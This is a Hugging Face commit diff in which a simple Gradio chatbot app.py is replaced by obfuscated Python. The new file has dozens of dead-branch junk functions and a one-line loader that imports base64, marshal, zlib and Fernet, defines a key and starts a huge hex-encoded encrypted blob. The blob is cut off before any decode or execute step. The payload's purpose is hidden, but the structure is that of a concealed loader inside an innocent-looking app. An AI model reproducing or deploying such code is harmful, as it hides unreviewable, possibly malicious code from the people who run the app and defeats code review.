anezatra commited on
Commit
991b405
·
verified ·
1 Parent(s): ba3d8c2

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +644 -63
app.py CHANGED
@@ -1,63 +1,644 @@
1
- import gradio as gr
2
- from huggingface_hub import InferenceClient
3
-
4
- """
5
- For more information on `huggingface_hub` Inference API support, please check the docs: https://huggingface.co/docs/huggingface_hub/v0.22.2/en/guides/inference
6
- """
7
- client = InferenceClient("HuggingFaceH4/zephyr-7b-beta")
8
-
9
-
10
- def respond(
11
- message,
12
- history: list[tuple[str, str]],
13
- system_message,
14
- max_tokens,
15
- temperature,
16
- top_p,
17
- ):
18
- messages = [{"role": "system", "content": system_message}]
19
-
20
- for val in history:
21
- if val[0]:
22
- messages.append({"role": "user", "content": val[0]})
23
- if val[1]:
24
- messages.append({"role": "assistant", "content": val[1]})
25
-
26
- messages.append({"role": "user", "content": message})
27
-
28
- response = ""
29
-
30
- for message in client.chat_completion(
31
- messages,
32
- max_tokens=max_tokens,
33
- stream=True,
34
- temperature=temperature,
35
- top_p=top_p,
36
- ):
37
- token = message.choices[0].delta.content
38
-
39
- response += token
40
- yield response
41
-
42
- """
43
- For information on how to customize the ChatInterface, peruse the gradio docs: https://www.gradio.app/docs/chatinterface
44
- """
45
- demo = gr.ChatInterface(
46
- respond,
47
- additional_inputs=[
48
- gr.Textbox(value="You are a friendly Chatbot.", label="System message"),
49
- gr.Slider(minimum=1, maximum=2048, value=512, step=1, label="Max new tokens"),
50
- gr.Slider(minimum=0.1, maximum=4.0, value=0.7, step=0.1, label="Temperature"),
51
- gr.Slider(
52
- minimum=0.1,
53
- maximum=1.0,
54
- value=0.95,
55
- step=0.05,
56
- label="Top-p (nucleus sampling)",
57
- ),
58
- ],
59
- )
60
-
61
-
62
- if __name__ == "__main__":
63
- demo.launch()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ __VareObfuscator__ = ''
2
+
3
+ def saint2581976():
4
+ if 2204149 == 6353588:
5
+
6
+ print(6484414)
7
+ aaa5832674 = 7963319
8
+
9
+ print(9767634)
10
+ bbb8398159 = 6050428
11
+
12
+ aa8016981 = 8426179
13
+
14
+ z188600 = 5905227
15
+ zz2756615 = 2772300
16
+
17
+ c6970356 = 6304674
18
+ cc5348803 = 8755403
19
+
20
+ elif 1920497 == 6440967:
21
+
22
+ print(9604152)
23
+
24
+ aaa3863113 = 2024930
25
+ print(8160586)
26
+
27
+ bbb5761021 = 8884864
28
+ aa9054520 = 939164
29
+ x8272647 = 7779599
30
+ xx5923443 = 8898931
31
+
32
+ a7658064 = 2578581
33
+ aa3532139 = 3246831
34
+
35
+ def saint6117930():
36
+ if 7666436 == 4718416:
37
+
38
+ print(1822448)
39
+ aaa432629 = 8257655
40
+
41
+ print(5456350)
42
+ bbb9098917 = 4104469
43
+
44
+ aa2399166 = 8094118
45
+
46
+ z6205792 = 3382901
47
+ zz4115857 = 577864
48
+
49
+ c5335388 = 9127225
50
+ cc3275970 = 8762908
51
+
52
+ elif 6613313 == 8972092:
53
+
54
+ print(2128876)
55
+
56
+ aaa1515763 = 218496
57
+ print(5721212)
58
+
59
+ bbb6782467 = 6648613
60
+ aa8571463 = 6096882
61
+ x8029125 = 4637363
62
+ xx3577018 = 9536857
63
+
64
+ a400827 = 1317022
65
+ aa1882201 = 2835026
66
+
67
+ def saint400152():
68
+ if 8020785 == 5117188:
69
+
70
+ print(9537624)
71
+ aaa3331989 = 8115196
72
+
73
+ print(9016300)
74
+ bbb4978058 = 9207886
75
+
76
+ aa2132713 = 445051
77
+
78
+ z9946457 = 964738
79
+ zz2483691 = 504777
80
+
81
+ c3012329 = 8155477
82
+ cc5996937 = 3375619
83
+
84
+ elif 3109323 == 9722717:
85
+
86
+ print(5743728)
87
+
88
+ aaa389693 = 5902841
89
+ print(6266836)
90
+
91
+ bbb6696956 = 8483387
92
+ aa4625634 = 5326719
93
+ x759588 = 8177980
94
+ xx372663 = 1780511
95
+
96
+ a3565179 = 7417765
97
+ aa8844300 = 8583318
98
+
99
+ def saint8978450():
100
+ if 9824963 == 4895836:
101
+
102
+ print(8654329)
103
+ aaa7757297 = 672253
104
+
105
+ print(6229262)
106
+ bbb5334603 = 7391736
107
+
108
+ aa882847 = 7586006
109
+
110
+ z7186224 = 7717945
111
+ zz2992102 = 9684843
112
+
113
+ c5669605 = 2609988
114
+ cc2579213 = 8760959
115
+
116
+ elif 767583 == 3036619:
117
+
118
+ print(7181318)
119
+
120
+ aaa855091 = 3317465
121
+ print(2428521)
122
+
123
+ bbb6549687 = 6773547
124
+ aa4107498 = 8913377
125
+ x4649757 = 7081880
126
+ xx3507180 = 227832
127
+
128
+ a3404907 = 1698080
129
+ aa1584294 = 3977787
130
+
131
+ def saint3984438():
132
+ if 2435684 == 3272249:
133
+
134
+ print(7399198)
135
+ aaa4522505 = 3717528
136
+
137
+ print(2867641)
138
+ bbb1111298 = 1889446
139
+
140
+ aa4508799 = 3731745
141
+
142
+ z8661095 = 8541847
143
+ zz9664077 = 8556612
144
+
145
+ c8167344 = 5287312
146
+ cc2255210 = 1074171
147
+
148
+ elif 9514239 == 8485827:
149
+
150
+ print(6525556)
151
+
152
+ aaa389739 = 4284552
153
+ print(4548089)
154
+
155
+ bbb8367684 = 5119650
156
+ aa977837 = 3464299
157
+ x235199 = 5001187
158
+ xx3828363 = 4773218
159
+
160
+ a5081215 = 4931785
161
+ aa7615289 = 8754414
162
+
163
+ def saint6962622():
164
+ if 9777212 == 4723536:
165
+
166
+ print(537579)
167
+ aaa9392249 = 4723840
168
+
169
+ print(4078941)
170
+ bbb293546 = 2155507
171
+
172
+ aa3425311 = 1887454
173
+
174
+ z5885230 = 4236403
175
+ zz9311824 = 6456372
176
+
177
+ c4688208 = 2258970
178
+ cc7591229 = 8116813
179
+
180
+ elif 9771941 == 3339122:
181
+
182
+ print(1349450)
183
+
184
+ aaa1022529 = 3210982
185
+ print(6757983)
186
+
187
+ bbb2641626 = 7349510
188
+ aa4600010 = 5375617
189
+ x6342608 = 514123
190
+ xx5656853 = 1407887
191
+
192
+ a9397701 = 5510844
193
+ aa5638647 = 4134724
194
+
195
+ def saint2912203():
196
+ if 7189394 == 6069683:
197
+
198
+ print(8889487)
199
+ aaa7515248 = 2522524
200
+
201
+ print(4909225)
202
+ bbb9219190 = 5498353
203
+
204
+ aa7046316 = 9607676
205
+
206
+ z3151794 = 2828861
207
+ zz1830200 = 763974
208
+
209
+ c4978565 = 6374394
210
+ cc4098329 = 7056046
211
+
212
+ elif 7626324 == 8054826:
213
+
214
+ print(9164246)
215
+
216
+ aaa3529220 = 1715618
217
+ print(1381415)
218
+
219
+ bbb6646643 = 7770074
220
+ aa5674344 = 8487768
221
+ x8958243 = 3032668
222
+ xx9571435 = 6927548
223
+
224
+ a4492633 = 4246668
225
+ aa6435970 = 5787785
226
+
227
+ def saint5449443():
228
+ if 9278948 == 6359180:
229
+
230
+ print(8920546)
231
+ aaa4758493 = 4879268
232
+
233
+ print(4781953)
234
+ bbb7146583 = 1691181
235
+
236
+ aa844258 = 3695007
237
+
238
+ z701401 = 5331562
239
+ zz5807061 = 2141687
240
+
241
+ c4458304 = 5174001
242
+ cc6719427 = 2040730
243
+
244
+ elif 541815 == 6705786:
245
+
246
+ print(7200062)
247
+
248
+ aaa1176762 = 9747931
249
+ print(7699670)
250
+
251
+ bbb3353897 = 6879534
252
+ aa272558 = 8017962
253
+ x2623404 = 2423858
254
+ xx7392369 = 3532769
255
+
256
+ a8570053 = 5551342
257
+ aa6732971 = 2653006
258
+
259
+ def saint9409693():
260
+ if 4243133 == 507175:
261
+
262
+ print(1271656)
263
+ aaa1740014 = 4174046
264
+
265
+ print(2773914)
266
+ bbb6048103 = 4895417
267
+
268
+ aa3323609 = 7079681
269
+
270
+ z3159838 = 7527390
271
+ zz7700575 = 9761849
272
+
273
+ c630927 = 1598623
274
+ cc2768370 = 5680578
275
+
276
+ elif 6503666 == 4867142:
277
+
278
+ print(3357151)
279
+
280
+ aaa1572587 = 7235671
281
+ print(551021)
282
+
283
+ bbb6808968 = 4040565
284
+ aa3740959 = 4740292
285
+ x2476515 = 3992240
286
+ xx5315381 = 9666050
287
+
288
+ a4041308 = 9214030
289
+ aa9833828 = 8511159
290
+
291
+ def saint7048388():
292
+ if 861419 == 6499066:
293
+
294
+ print(1271334)
295
+ aaa9860103 = 4036555
296
+
297
+ print(9642623)
298
+ bbb5595169 = 9971749
299
+
300
+ aa6839971 = 3408583
301
+
302
+ z1508230 = 8349751
303
+ zz7806119 = 6388264
304
+
305
+ c5750624 = 9129263
306
+ cc2945820 = 6936466
307
+
308
+ elif 6025945 == 2793947:
309
+
310
+ print(7148730)
311
+
312
+ aaa9911205 = 5957262
313
+ print(1304701)
314
+
315
+ bbb760188 = 4356126
316
+ aa7431451 = 9892596
317
+ x7661286 = 8243064
318
+ xx8518681 = 6321508
319
+
320
+ a3252277 = 7512791
321
+ aa3146703 = 5988658
322
+
323
+ import base64 as ______;import marshal as ____;import zlib as __________;from cryptography.fernet import Fernet;import base64;__mikey__="Z0ZHR2tLa2FfSV9XOVJsUFhzRGlUUDk0d1lmOUJueGZzVnRuWjJFWWFpQT0=";mydata="674141414141426d594d4c7464782d424f517a5732694a366e4e526d5f5668774f723741423163337852454b54476a316e77556c4d346a59426f733464463256415336785a476e356f4f5072494b334369524f6f37745f4f3764522d5a546f3339497763397a774343653637526b424f54716d6e5563656d58534e6e395a6258754a4d422d30734132473442326e74306c5f4d7563726163767979706e365545754e6c3235524677516b3462795f797838783756735459565473763379746f79654d425f647138724a6d35544446784e68596d7a34435346535065695a754d30646d4c6851734f7762474a654442496362522d2d436d454f437a6b6f4358564661523452376354713661367156765062724f72664f7a3468546a43556432533730776e6664646e575f30617345414c49705f39623365313835674f63524f79667833354e795543333461387368644e6f62645a7a54352d77753168636f6c5549544735703673566a664b4a4c6e64426252783344566e46365930336859707858566753614850665f6438553279796c4e494e64314f6363505a4779654a6434685f33744c792d7a7a434e6638703932636c306750306776665f70505735524c476d6d674b4c6650776d4c4f4c7778626b497966376845623963616754645557564939495743544b6b715835397676424d6239636348303867694f7048487848515471596a63634e5a532d424b455a62636b4e64747168495a347a696b6d42527251514e50587053416e7633726b434a5a7075343032674468566566543372365932545863575f56577452324e547a4b455372324c5343327038413039736d75706e613361465677796d5651545f7a5779783949546b72656c46777477614e33652d364b426b6b775f43614772486f7771783632764c4b42505639506d5a395a44644a3757664b413878577170374b7a73703831736f5231454f6a7351744358303937326a58764e3666716134784c656f75625131756a666a2d534854677a356f7a5242456f374f3265476443307066586f412d6c37623335563442524d37634d3339533845367844466f5354344676774b663647586a673359375a50784b6e5a7455584772694d55614c63476f7648764e6371537a694b676459516c2d7a4e57362d56394a586a366c6930784271467a4b784567476d69562d7063534a6b45357147356d4b51596932752d733048555f4e4136456c7139644c36414352577053525448384a6e42434b513246565938743358417656344b43506c567845676c7865584d4677696b7973327a74326f70335264376c4271465250436d5f746f5351554a42306153574f3736775a70785635654e5250585633496b7077684f42666f767161456f684b3743443059487678585f6733756e355643354a72446e34506e5148565a736b79366f6572763147524f5a584468467a54614b334c617976554b706a4d484343382d5865383470786b54653354494e6d5143424362664f63556e444d4a46782d456d7a46336e66584b5732345151485873634d6436517566517a4a366357353064507177557a46657436457876496b64454c333955744d4e6f477156745975626f477a55646a32697638436b707266365050746b506f6a565a5a6557765575646a424c784450685059432d314f34356c615a4d635170663953693136566e6e6d5551525a464f48394870426f50567239386e742d7051785656544e34616b5779416c56764579566e7a4e784762794d452d4d5a355051395a54737a336b57445544785873654b4f6d417978474e4b765162486e624f374a7a4e785357356b36717835595872316a4d31676b64425365556938544251725a7179704d57766e5a5f486a345535705a3849696e4e77534f563775516f444257704e312d534557657a53565553386248384d61324c6e7643795458626453557a424654456c785562526a4b4e62427a4c5245735f42587875664c4b333867434e626d467a5a784a5a544769444d4c43714f386e59724a3430517857326c75332d62656b6b616359697064777a6b43746c6b54636336415f777962597744443557766233704338637644496d5f6e667251502d7876594e7445797a564c42537051712d3343733477767556584151786a49587447336c3870617a454545676436384e69584378796d31586476714854624457565a6954596658655252526a4471646936414d55786931306c794e5f306a4b5557756e37303374614339767a4b554c73452d367258432d64597242364b7765315a59734567327550697155394c55364a4a4e544f704864777974364b37656c48544334716c73645139796f6b37766e6b4634786d2d337639484836746c5a6e3943505344426e523272367442626a6f366c304931476b6d5f7a45664f464775514b6b7a6f7254554475544857514a7242475f7457695645784d304f43534254543341307150426f7a466177523354636c357430357957455977684e48316e78654738314c665a6c763763324c6232796a533063613346524f594e3446664e4a326f784c376d7172472d5a4c49636c5331436746455674715a32717373394b563443644d5153493039765f64565854696479424d524c554c4b39564348567968694e77744d3748706d65556a364a6a39736a59306a455243594e4c53727a3765647830706250556a33676359314d542d307442596b576172544c755f475541414349316e694973454d656772564979524867725447434b334a7968334656624e6252734b6178582d4552716447736c4e635444784a684a6f4635464f6e6678394c515535476f6c7771784f6e3745346f71386365436363745345423238756b697456634564355a61504662426876764f61383241456858394b326d6f70786f414651636134514267674e3136376335445f556d345f557465376d3176577271784375693272743631686d586330484c385979553732797753565352305f716c6e627a4a784667755359357136597279614d6f31546e435a645141714b33514363766762444a48714e786e576876683870556d5a435767325a50362d71755271356f696f456b61426c7038776466616f55524b325430365865664362723439797365417248753061795f57534e69676d786d37787a6471466e397663336f6a4465476372526c5137323142335470716f4a794a6b765057436c663945623736546f36634f426145664152554d47494b4b7079413179444c6d6e634d45676a665a4d42756b6d5357707a4a41376337504a59345831724a754f72674e614d654953442d51636b7748486d75474274763867305530446e6d2d33347a52413374534553477030704e4a396e3444484834644b2d592d415a593349432d764f50526258697766797466424a787438554e364234584a6e574f374a64386c7769767a576a33787046355768496b666736694e5f3034576a7a536943507539776453597676306b5a51703775637843447967725a554644433730424c726b5949534a746f54766245536f59745138505772366c6153716d794f5f43637378414d5356526d7a504c637a33617a41612d452d37576131456b414c687174394a6c4e4e4a4b357738464b33317733746f7142305359585239484a57584c4c5067597a39374d673759746f734c34337a324e633635373338563639556364733759307149714b30663177337161776b463246587855596130374b306731505131675475595361576957336a6976584949664d3032674d2d6f366d6b575231364c4f74345930305934644473483139386a51616d306e5563397745312d58714c386b6454746d424947534f62644a46525477584961656c48516133614148416d45766f46746138755f50594d5a626c656877765a6349446874506a74624f767450527a50355f587a744434737737676e4e70577867663033743247434947335368524f432d423165694341535378754a717664685a4e594f496e336a713349786839367737697259547752536b676441484a7a426871466f414d6b67466542494c65316459655344756e6d6268763755705246475f3744556c4838705a6b35377546347433336e7070566f5a5046656d355f46695a484f7a4450744f703831334b4177744f5075537147793347315a6770783275424b47712d555932346155654241784a6139436c3438327a376b58654b65536b322d497242734e615374595935795678514b494a333639624e627956335a6a55716830335755494a5a5777466a4d564157436b663449774430705851486b664b734e3647596d307a42702d715778647a744873325a3842705f34573736686f75326777624f5768356e7358667677306341424f396d4f6e466f456452643161483148735a3074643843464c39346c3558366a64624e526b533038396d3954534337575a4e76426855725371454c736270334577797531374c38444a535f43566e746a6971657734753969483445586c65336877356975775a613235623372555152316a634874655533686678394168354953464f477a663372306b4b6d3934356338555a786279476a69343071574b6e4d5258306d6e526a4e4c784d385a6576765a7834766f484f4e3469534c31594c4f4c315731505579415a5a634a6e5367554f35653243684461494b52523352596d4d4d53556375366155385549446c6735444d6957745465734e4e54596c364c706e35636b425141656d4e79504732555573555a4851697a7a7a3436304c334c5f585657424f7238372d52695474584473662d482d41504a3072557a654e56395a49536153426b58476945575f36537751533478366d595064587838555674665a68364e573849644f6b47334a67464b7a5747334748334179355a2d326169766864595846426f637430766d414d63584c664e5a685f423078474d5751674d5f6435653643686a4b5333734966564b486778654d55425f73305374736765345a6764635f5238586c33354454342d4a6b665f4b774d33466b663165346e6d495141577a4435362d4d4b37616b6d56627536316a596f4c4c3836794d757270706f71754c5f6636734b4f627244597a4f7a59716d76636469544a72477835343850394e4950532d68634e4b4d70434547395737724e646234416b51434569444c73597055546b566a78717772534c6469416b4c794f39766a486a4a6c3764766b4c5568574a683670654d374b5a4a4331376f67355a55533637665430374b6f7a536943776447754a616d6670434f4a7a6348334e5275524771647372506437714e42307a48694970734163484376774b444e75427a5152506d62706830642d5867767165734e62304c544b5a3834636a625a516178446b336b6a424f37466d434d6f6366784a70584952444f73753474725a4c796b53494d636b364e6a78335042587167446e573437304c6b4149664b5952394e682d6a795261684b4a483273355f4b424432686c3045456e4239456634622d6f61455375313655434932306c695f587a654f6f38435756666b7a324631556c6b68446731624343312d4b516168704f697a54694d4a50734f7a393055554a537147364c6b784d596d72524e5f44503969594477587977644c584c6335736e473764734d383538784d484d734c4f794170485830466c4b637a65713465764949366c594b50455952464d684e41416d3342554f7a386d6d4d69455443415061384e4439713753496c6c77434f4a4572514457716473794167776c5852396d64656d68726e505547726843583333396a4236313072486a3769594a6f6d623938576f7030737570796461683962477661614a52476e397379476e356b3466752d4247794e6d355a4c763658644e724f4e52696a6147696b584f5f78587449323765513945596c6d4438356353546e585954375863313662662d4f3475774b696846716273574b54676166594472337a55776d42307839574c707778574f666a4468576c794644507565494e746449307a4a5833666e324449706c4d6a4e385575414a4478645330613130337137326d51767930733845506b583178654b45644b643130324d4b30353478394a3974504f5a775a7451477779305f4b74794b3872766e7071686939736c4e68354e526a757632304a614847614259333647527a2d4e5261424d49496c30735568465262637246754c782d584e4f45476349426c67314456654c515f6a566f574271662d315a5545474b6c50656f676577546244743348336459754a7450595f4c6b4b6a5f5539784f6a636b616a365a6552435843476a6f6d41636d7043434148555739794b4c74774c496b724a313372734b335f4c5646615f6f56676f735f6c3165734b396451317a61764e4d6c6430554c4f70755f423532726379707336507a324479334a41487a643434366e47396a5733446d6a4c31514b66394f642d526b59697138505358745335556962355a4668564b53326f47486a747a4b6679374452327568467632786e6e504e63642d53352d494c4f73314e303369775774625274464457357449645065614b594a4f58574c7a4b595f5433506358544546555a635a6e4642793248615358544d4b745141537a677030705f54524876395a5a70634c3736325752395938566a614f554c5573614c6f4c504b377062654f4c685741663167596561786158586e376e72464d4d5547706244775230484f64755f36703351527978615441537675336f4e685152423541714e3035445446564573766a6d6f624e696e6d57446151666e64394a68785769442d3245357a743945455551545751574d3135623471756b4d6c512d5a574867672d537745315238755536754a425345356a6c4f38672d694d6243553369524f59744870654b7654704d6f6f78587067616b64595f6d6159636b3073773535674b5161314652496b3467386f6443525262566c39316e6763773059377a7270306633644c696d463637684d704e58344a74395137487a646a49666675425462307348685f53574e636d4d357863584f506a3970646f6265375276324c59554272493351554c624668623175764955776f514252494a3847584a705a427a43795a576b74517158714a583971613434594f4d42737637686430474d54673348656e55316b75456e6d5847495337594b5950427a63586c4b4a59647246525f6e706d4353364f3473576a784458332d70536a4a717a55337a6b654b55666550376e704e6148725934335755434d7265577145614b416f664c4d425169645a55445763766473426e484b425a756c4a6b6d44643356306b4342414257772d716b5a645638384752594256366c79434f5468692d41567361573364587479734835746c7371506c454572757134654e4568366c32626a4b5043334d65346c70565a784355666c5a554c654450425a394761494a34435437774e3473374a57426c78642d47357469704d744641524769734a50356c784451334b51707271715436554b315732465257765153647561496a683953564f7539785a624c3948514f455a7431546351795f33673745697a44596a65744d6a7a544a433045674c3263496e5541655373536a4a5a48564f75597a4756646a3375642d733544475831496b4d497942304867615a7564594f34646b4f73597869746f70306263504949514745323741507a66626f63714e75624a305f616d50366c4d6a4332336a7a334f457348374150634932703042344153755168447945795f506e4e4c5075576d4b5355755f335f72524142575641395a34756b5465374d736f30566a474833444b4e56574a4862557a4346636f72723774582d52515a515056744251656a564e63787a6551775745684950536762706a306348385068504c6d6f725076376f4d4d79632d694c5968386c7a4b5174385248386b525033365a314344735a356d566a4249575963636b31465048554a396d4250676c586d587a2d6c6f654a33776167385833774a5f4d7966724e4448684f584d55704d79506c5f6c394b4351587a6a50427655796670396d30416b44357849305639365169643968613448755453737639715f6f36436b4831725946446b54525a5f494a6d5174386c765243673871624543376c52554651357175656c43742d79386f545153506e7459364a593335727048636e4c4f4e4177526775316f68375a62524271623932786e547a485f506a37756e526f774e466a345a562d7932635179326f7572434a4b6f776a687765733177556573702d7239355977697466723139586137596e416b47444b357a41437178566754336841626c6751583371597a6f337368356255702d5265366b616c633169563733684f596e4a37634f556956725a6e5837653831426a654b4c2d332d587854784646702d41586c34464e39696e4d554c3650315a6a65374654566c647875674b706f4175454b52764247316e50306256334c7862426c707975364943444e4276466e655271446551792d587839767453514e6142776350516d6d4c466f44736c30594c476d4935344d7157475465775f515063482d46495a53756e65737844386d6d65456d52445f324b30496f34305374676d5173616b346e58504448714a38664c545272424142334357694b4166474b5a4c484948466a4c316332456b49513671785378675a545f762d5065544a79626d665870563454392d6c50306372334d74686c6865704f3934752d367444514868677a78687a6e56417346656a47446e564a312d596d704b643269367733796b594d715262764e6154697245616f6171724d74657030767278346639564d4e344a62444870674d6566426b774b75344b576d564472355234504e6d675a3873464833576a595f6a774d4845474b4341343430716c3744375a76636d39746434434f567948705539647348733963655030735875614a4b44725935335f536c48766461414a7436314b7a393657697a56465f61425747774b336f773837763762565778502d734c4956475f6d7567596f425545444148616564356c326e70725a544777416d6e7a6735482d67775a5437695636717854625634506f6c776a655034556656364d73567645743959365751704d436e505a77656e382d6b6a32485f58306c76504c5f456b6d75454f765f493445686571717979594a695433576364533731386969477830327459694e65674243754d4d32656d64435a446d6b516878787977435457686c39626c6542346836465044796837704c3572556a314f67695f5a57377a7a6c326e613051427a374f4f796542646374536d654a5139616e626a35514a44323245736b487463584e6d646b783661514c6e685f6844336b7445586f7768623754594841705a6531444353534349695944755536613673313654753248496b356455784d6b3747596b6a774c62364a793978686167336779537044663276505145584a4b4b4d524865497a6d68344c463351334f754e64526c505f614178373138306a54684a4b5047676b6c627177464d4541664c5678657864566833535850596b475764674555754d6f374f716b6852642d59686245723846667a384e4e3267693175317346716837785550373357396369374d58674d515a5a42345a4f3678344a456d35446b7253725f6874726879774e4f313734475a3165794e31536f71424752704c6f5947393945626e71794872375964663574384e4a35537534545163574e347376484c495271447375456d4d5430395059674b5f322d584e30306174593763474531445957744c5670724357795563716a734c395f747964707a5476713571364739646f7139636a386f77595f556b3771554a334442716c552d564d326a316a5436527a6a6b49656d43586e665976526b306c444a525353426e594541384d6f6f6e546f73397a3149346661777372345a5879505630632d47427779687634617065394857797275484a5771584649382d30324d77525879586d56346f53526f465f30772d757435524e756b4b544861336b2d7146494f6947556b6c6d74583865717a3050434c7945425f396f635562763736306b54324569727a363679344b7544434d787944706b7741626846526b5f42506f4b59356d72425146797641353864774f3230425271525a496963726c31475773514137654157466e744f4b746f53785473674745444b4c2d584b376e7a4f664f4e784e6a32312d68506c45665466737669777656786679583438565a52395a42366d704e4d4d69564868704f3638616437636a655f76625f4d6d3932475a47426955476b34707851704653577350495849306c5774344d5253685552756a70526578675f78385674514e764b48335a785f704e7931516850447051792d71534b4c76705965346e4f4a5163376576396d757464365f625668796a6c6256756d5751635663677331576d695a48777757395641584b4d476238625247564f31766851453931353038787a6c6c6e4478702d77496461536e374f7a55583646684259625a6a716a4c2d58313741776e6d695641495a4a7a2d6d47634f7a5536724c71526c7a4551536f6d43334871362d694c6b464654507779517337424357786e535559376e727339384b79694b6a73566e2d634a736e7a4f6e51716b5261494a6939313069324c785f395575756550757934693275795059636a333150516d647a5a6d4b2d70477a66384f3448354a5944656e76397846684469426536757764623770356830784556436d6c705435377630396433593870526371454f746348367a75374747534c716e74676c757776663753554455716f4b55354f4c4d7a7a4f754a56747844544d37733073464c50796d7679436c5a6d747a6234554759774844493336535458496b3467623671536549534c2d72506d6f4c3031526836394b64513945535871584f5764524a51765a317136466363437869646e37796a5664475672514849656c596f5f3049466b6d7a72626e4a6e576d754b4837345153455f39684338384a307779796a4a377533456b4f443963736234697066786e4954434a3176553835412d446c3632393446354272635f36724a6f594f6d317468305832596a616b4261494338546f433253796e38694463317a71484b63426571597065664363474247783562544e59334a46666945572d7a526c52457669734f5650694e7548694c644f4e73736f58743648374b2d3555504f426b77654b3364726753397232456d754532546a5244315a4e7349756336416576706c6d486335483975634d45516a44305970394a6b654b3441786d6f324e414a4c676354544b77687968704669436e682d4374514a6c6d443269374c4f4b4337673834504f724c7a4f76444761704f725a344979664f68306e6b357439433263765f684272364570792d4b716b3249594a41415a4372457a766d5371545f78785f305f4b774f61334548434b66576e7961587872794b3230453239584568694176356a376d67364a356d6b61526d784a524e4463536373304e575546756350775171454a4c5f6c6d5f324644663532336d6a49796c44796747546e4e324e6b6a4f7370567a67495a5a7233436e456964486e7368445879536f423963483948356674575344484862714245774d554c4e736159737a4d756a525934365f6e51446f7444512d58415032614c4b6b685a316f4559487371336a7954344453536b37494f7832413855755547574d6333494167395a41707a71546b62466e713065546b367a67316f2d6967454a6d2d50303549675f4f70655154303664566159793148665845616851434b2d37664d4939315733585168752d6f53447465726b702d4a30556b77694450446a4935436b587a7358386376466f563431675545736d445062564a384e684552746838355a356b7644436a434d6f546e76357361716e384e384c69384e497850435f454d324e526232476f6238446d61574e31304a58754a4f72734378382d73443435765a576f386459547374664c5f7973754d75776e535f3045504d6f74627158665353634673563054433451753264476a314574463150492d76577551413663645f6d642d376351696d69386559783776433572423878634c375875495077574a543458527258796375395a2d616d4231547950643639514445637168476e5662346637524a43357758334967417569434b353942634d5235525147785a32474f354c6a54704138544b717570337030702d546e61573150776232336438634c6338303676762d645f7a6b78756361616d47525679393365714e66596b384c7a346b33725339307764764a6b735234315054386e316651656d386f384c5f6f707941653633687a4e6a686c47427358504d34384644766b5266557555305f6932545054417444624e52714a52456c387a31656f6a622d54774c4b585f59764e7a6a504f58672d77555675345844336c5531655157596c52577a4b52717a636e6f516b6c59427262752d4a736f474d735634397532595a757a4c6e386b305a474b78536464327675434f78694b35784c58746c616e43496a45364f626f7a54534b703052326c796c3172314352463977714c556c5a3352565f42755456765f77732d542d677650754a4f33455a446b504f4876694f724f336439515368734a4e73727a704b6b5139426251445735663150504c704e3559394e45415f55394d74445a586c3145457356764869716466355353644f7958504c6964454a71337071746b6b6c7346624d624444585034564c5f476b766e6f4947445a6e53582d725230696c6c6a58596f5a462d525f656b377435774d78495759557543795f585a6a7a533175386a594e7467736b495a536d515371465f6458314f76775a6c796f49632d737556394a525a5366356250795f5539636673626c6c42774d7251694365316f4857614661774a4a6c5a423441475a37694f3835576b7130434432453276594b566e34434b387668467261785a354c755233304d757a396e2d6572755a67763254444e64773434644757706a384c484f5f6c7055537752677a776f586961323778346a4e43616853764a444c4979716755475952793752754455476a58475a6d6237515a6159734f70764357382d4a314e3975424e56496a4653317731503179474766796a4c636b71445878365569754d314c41587247634250534572365568306d67426469377461584e53347341347a7652536334576336366a796a456d4e42393661466150355f3134325669344e4a6668494776386c68634e433258786c525a4967716b4644584941684e78723441676e43486639654f37727a51516a744c7434346c76635a77727a43617a75773254554471525944706a657058345a445a695f61357854455843734d4c4f7651792d71327634366f735a7475544266486a4d4d4b525855747455636a786a3755774a734a445953423465464973664847526d785243676330687a4c474b4843325f6b6251496a6145495a6677664c4642394f6c68424b4677776f3479513373306878794935704b74436f374b304939475555527a3145646c4c55776a5958796d3267657a4751715a725473592d384a6b395351552d425871794a76635f6c4562397a6350347475443135425a53474f61784f6247364f487565644d754d5346717147704f4b326b506c326c5a694150566e4933626461716e4f4c4473766149356e38774d376e39304458617255364d7a562d626d524a394250547379327244477079424752346e6f454a756356315377766d706c7a56303475772d6a5869723553674a6c55543642745a6156756f70644a7a51545755594376424a73456a5175324467436e6935424845724567783439776c45413